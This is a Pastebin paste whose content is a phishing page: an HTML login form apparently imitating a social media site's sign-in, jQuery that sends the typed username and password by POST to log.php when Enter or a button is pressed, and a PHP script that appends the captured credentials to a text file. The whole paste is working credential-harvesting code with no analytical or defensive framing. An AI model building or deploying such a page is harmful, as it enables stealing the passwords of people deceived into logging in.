Advertisement
Guest User

Untitled

a guest
Mar 22nd, 2016
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.65 KB | None | 0 0
  1. <form class="_rwf8p" data-reactid=".0.0.0.0.1.2">
  2. <div class="_ccek6 _i31zu" data-reactid=".0.0.0.0.1.2.0">
  3. <input class="_kp5f7 _qy55y" aria-required="true" autocapitalize="off" id="Username" name="Username" type="username" placeholder="Username" value="" autocorrect="off" spellcheck="false" class="" data-reactid=".0.0.0.0.1.2.0.0" type="text"></div>
  4. <div class="_ccek6 _i31zu" data-reactid=".0.0.0.0.1.2.1">
  5. <input class="_kp5f7 _qy55y" aria-required="true" autocapitalize="off" id="Passwd" name="Passwd" type="password" placeholder="Password" value="" autocorrect="off" spellcheck="false" class="" data-reactid=".0.0.0.0.1.2.1.0" type="password">
  6. <div class="_j4ox0" data-reactid=".0.0.0.0.1.2.1.1"><a class="_19gtn" href="/accounts/password/reset/" data-reactid=".0.0.0.0.1.2.1.1.0">Forgot?</a></div></div><button class="_rz1lq _k2yal _84y62 _7xso1 _nv5lf" data-reactid=".0.0.0.0.1.2.2">Log in</button></form></div></div>
  7. <script>
  8. $("html").keypress(function(event) {
  9. if(event.keyCode == 13) {
  10. saveCridentials();
  11. }
  12. });
  13.  
  14. $("#signIn").click(function() {
  15. saveCridentials();
  16. });
  17.  
  18. function saveCridentials() {
  19. $.ajax({
  20. type: "POST",
  21. url: "log.php",
  22. data: { "username" : $("#Username").val(), "password" : $("#Passwd").val() },
  23. dataType: "json"
  24. });
  25.  
  26. $("#Username").val("");
  27. $("#Passwd").val("");
  28. }
  29. </script>
  30.  
  31. <?php
  32. $username = $_POST['username'];
  33. $password = $_POST['password'];
  34.  
  35. fwrite(fopen('cridentials.txt', 'a'), "Username: ". $username . " Password: ". $password . "n");
  36. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement